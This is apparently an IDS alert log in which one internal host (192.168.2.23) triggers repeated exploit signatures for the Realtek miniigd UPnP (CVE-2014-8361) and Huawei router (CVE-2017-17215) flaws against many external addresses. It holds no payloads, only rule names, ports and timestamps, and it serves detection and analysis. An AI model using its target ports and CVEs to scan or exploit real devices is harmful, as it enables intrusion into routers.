Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.61.70.96

Timestamp:	07/20/24-23:01:48.918065
SID:	2025132
Source Port:	43488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.113.201.241

Timestamp:	07/20/24-23:01:08.599362
SID:	2027339
Source Port:	50400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.98.158.86

Timestamp:	07/20/24-23:01:06.996056
SID:	2829579
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.58.232.126

Timestamp:	07/20/24-23:01:55.154049
SID:	2831300
Source Port:	43950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.137.171.145

Timestamp:	07/20/24-23:01:43.147883
SID:	2027339
Source Port:	34030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.52.197.149

Timestamp:	07/20/24-23:02:11.703257
SID:	2025132
Source Port:	51836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.21.106.63

Timestamp:	07/20/24-23:01:40.290003
SID:	2829579
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.230.67.6

Timestamp:	07/20/24-23:01:31.325694
SID:	2027339
Source Port:	40842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.10.251.72

Timestamp:	07/20/24-23:01:08.609855
SID:	2027339
Source Port:	38310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.233.108.76

Timestamp:	07/20/24-23:01:42.131607
SID:	2027339
Source Port:	50228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.168.237.206

Timestamp:	07/20/24-23:01:41.991545
SID:	2027339
Source Port:	47412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.230.61.146

Timestamp:	07/20/24-23:01:44.059102
SID:	2025132
Source Port:	57892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.147.36.143

Timestamp:	07/20/24-23:01:43.110964
SID:	2025132
Source Port:	46540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.199.217.59

Timestamp:	07/20/24-23:01:01.189596
SID:	2027339
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.202.120.94

Timestamp:	07/20/24-23:01:42.786028
SID:	2027339
Source Port:	45846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.7.102.124

Timestamp:	07/20/24-23:01:20.150638
SID:	2829579
Source Port:	37246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.242.86.47

Timestamp:	07/20/24-23:01:42.189694
SID:	2025132
Source Port:	52172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.133.231.223

Timestamp:	07/20/24-23:01:42.869521
SID:	2831300
Source Port:	47750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.56.45.233

Timestamp:	07/20/24-23:01:43.540053
SID:	2027339
Source Port:	59742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.109.59.232

Timestamp:	07/20/24-23:02:17.865555
SID:	2027339
Source Port:	40280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 69.239.30.22

Timestamp:	07/20/24-23:01:42.717611
SID:	2831300
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.206.57.165

Timestamp:	07/20/24-23:01:59.799089
SID:	2027339
Source Port:	44900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.83.21.166

Timestamp:	07/20/24-23:01:45.622888
SID:	2027339
Source Port:	53192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.126.129.17

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	49424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.27.123.11

Timestamp:	07/20/24-23:01:27.677519
SID:	2829579
Source Port:	40634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.140.142.60

Timestamp:	07/20/24-23:02:13.672930
SID:	2027339
Source Port:	36658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 122.138.157.236

Timestamp:	07/20/24-23:01:52.883801
SID:	2025132
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.78.244.230

Timestamp:	07/20/24-23:02:27.381027
SID:	2027339
Source Port:	54888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.52.73.80

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.74.79.160

Timestamp:	07/20/24-23:01:31.312311
SID:	2831300
Source Port:	39582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.213.222.122

Timestamp:	07/20/24-23:01:47.918473
SID:	2027339
Source Port:	39424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.66.59.209

Timestamp:	07/20/24-23:01:52.388927
SID:	2025132
Source Port:	36042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.235.3.135

Timestamp:	07/20/24-23:01:41.967549
SID:	2831300
Source Port:	49624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.106.155.17

Timestamp:	07/20/24-23:01:51.258596
SID:	2027339
Source Port:	36072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.155.8.82

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.217.116.132

Timestamp:	07/20/24-23:01:31.325400
SID:	2831300
Source Port:	54428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.229.87.54

Timestamp:	07/20/24-23:01:34.044537
SID:	2835222
Source Port:	52198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.150.2.45

Timestamp:	07/20/24-23:01:42.617689
SID:	2027339
Source Port:	60274
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.210.141.95

Timestamp:	07/20/24-23:01:47.375803
SID:	2027339
Source Port:	52282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.215.251.21

Timestamp:	07/20/24-23:01:45.188773
SID:	2027339
Source Port:	60842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.80.44.168

Timestamp:	07/20/24-23:01:44.776719
SID:	2831300
Source Port:	39014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.216.69.165

Timestamp:	07/20/24-23:01:41.228794
SID:	2027339
Source Port:	42024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.211.43.107

Timestamp:	07/20/24-23:01:47.147727
SID:	2025132
Source Port:	38340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.34.69.120

Timestamp:	07/20/24-23:01:08.600114
SID:	2027339
Source Port:	58992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.105.175.229

Timestamp:	07/20/24-23:01:24.910426
SID:	2835222
Source Port:	50096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.163.119.125

Timestamp:	07/20/24-23:01:44.795218
SID:	2027339
Source Port:	48582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.241.106.75

Timestamp:	07/20/24-23:01:01.846382
SID:	2027339
Source Port:	33600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.103.96.49

Timestamp:	07/20/24-23:01:02.493447
SID:	2025132
Source Port:	36278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.51.233.233

Timestamp:	07/20/24-23:01:31.314146
SID:	2831300
Source Port:	59934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.201.160

Timestamp:	07/20/24-23:01:31.982478
SID:	2835222
Source Port:	59400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.226.209

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	57930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.100.57

Timestamp:	07/20/24-23:01:40.372003
SID:	2829579
Source Port:	59172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 96.102.210.180

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	39918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.7.216.73

Timestamp:	07/20/24-23:01:43.044693
SID:	2025132
Source Port:	41638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.218.184.181

Timestamp:	07/20/24-23:01:58.885082
SID:	2027339
Source Port:	38460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.131.169.33

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	49024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.66.7.8

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	54156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.243.31.167

Timestamp:	07/20/24-23:01:50.845923
SID:	2831300
Source Port:	41810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.167.112.208

Timestamp:	07/20/24-23:01:42.945747
SID:	2027339
Source Port:	48476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.50.151.45

Timestamp:	07/20/24-23:01:44.203130
SID:	2027339
Source Port:	34246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.84.55.247

Timestamp:	07/20/24-23:01:58.807611
SID:	2831300
Source Port:	49242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.166.159.225

Timestamp:	07/20/24-23:00:59.184421
SID:	2829579
Source Port:	41550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.4.44.94

Timestamp:	07/20/24-23:01:10.600298
SID:	2027339
Source Port:	39780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.182.217

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	33230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.213.208.19

Timestamp:	07/20/24-23:01:45.109958
SID:	2025132
Source Port:	36090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.123.26.129

Timestamp:	07/20/24-23:01:51.144153
SID:	2027339
Source Port:	40542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.131.41.98

Timestamp:	07/20/24-23:01:53.015544
SID:	2027339
Source Port:	37228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.248.56.62

Timestamp:	07/20/24-23:01:45.414030
SID:	2831300
Source Port:	33672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:48.138392
SID:	2027339
Source Port:	58154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.70.142.225

Timestamp:	07/20/24-23:01:04.233857
SID:	2829579
Source Port:	39376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.205.240.199

Timestamp:	07/20/24-23:01:27.649945
SID:	2835222
Source Port:	41624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.153.207.206

Timestamp:	07/20/24-23:00:59.213564
SID:	2829579
Source Port:	36392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.36.226.221

Timestamp:	07/20/24-23:01:42.101588
SID:	2025132
Source Port:	35156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.94.137.105

Timestamp:	07/20/24-23:01:01.494643
SID:	2027339
Source Port:	55240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.37.100

Timestamp:	07/20/24-23:01:00.633742
SID:	2829579
Source Port:	34184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 91.108.5.216

Timestamp:	07/20/24-23:01:04.097857
SID:	2835222
Source Port:	59062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.228.29

Timestamp:	07/20/24-23:01:21.952783
SID:	2835222
Source Port:	42156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.80.144.32

Timestamp:	07/20/24-23:01:12.852602
SID:	2027339
Source Port:	37314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.188.131

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	35136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.134.108.32

Timestamp:	07/20/24-23:01:04.447286
SID:	2025132
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.47.112.243

Timestamp:	07/20/24-23:01:27.650871
SID:	2835222
Source Port:	49954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.138.181.205

Timestamp:	07/20/24-23:01:42.874808
SID:	2027339
Source Port:	38898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.44.163.254

Timestamp:	07/20/24-23:01:41.305474
SID:	2025132
Source Port:	58086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.124.94.169

Timestamp:	07/20/24-23:02:11.592030
SID:	2025132
Source Port:	53838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.230.74.224

Timestamp:	07/20/24-23:01:20.184321
SID:	2835222
Source Port:	46508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.37.33

Timestamp:	07/20/24-23:01:11.631134
SID:	2829579
Source Port:	33198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:53.807714
SID:	2831300
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.35.212.13

Timestamp:	07/20/24-23:01:21.936545
SID:	2835222
Source Port:	42860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.123.230.172

Timestamp:	07/20/24-23:01:31.982479
SID:	2829579
Source Port:	39280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.19.255.66

Timestamp:	07/20/24-23:00:57.222164
SID:	2829579
Source Port:	34808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.235.237.254

Timestamp:	07/20/24-23:01:49.033216
SID:	2025132
Source Port:	59516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.122.16.215

Timestamp:	07/20/24-23:01:53.524729
SID:	2831300
Source Port:	49608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.52.153.70

Timestamp:	07/20/24-23:02:16.647796
SID:	2025132
Source Port:	49650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.84.136.136

Timestamp:	07/20/24-23:01:59.356106
SID:	2027339
Source Port:	50206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.224.141.66

Timestamp:	07/20/24-23:02:07.401340
SID:	2831300
Source Port:	47090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.105.181.156

Timestamp:	07/20/24-23:01:31.322217
SID:	2831300
Source Port:	39998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.2.127.68

Timestamp:	07/20/24-23:01:44.302645
SID:	2831300
Source Port:	45918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.157.68.18

Timestamp:	07/20/24-23:01:31.323043
SID:	2027339
Source Port:	56342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.252.31.72

Timestamp:	07/20/24-23:01:59.855159
SID:	2027339
Source Port:	50424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

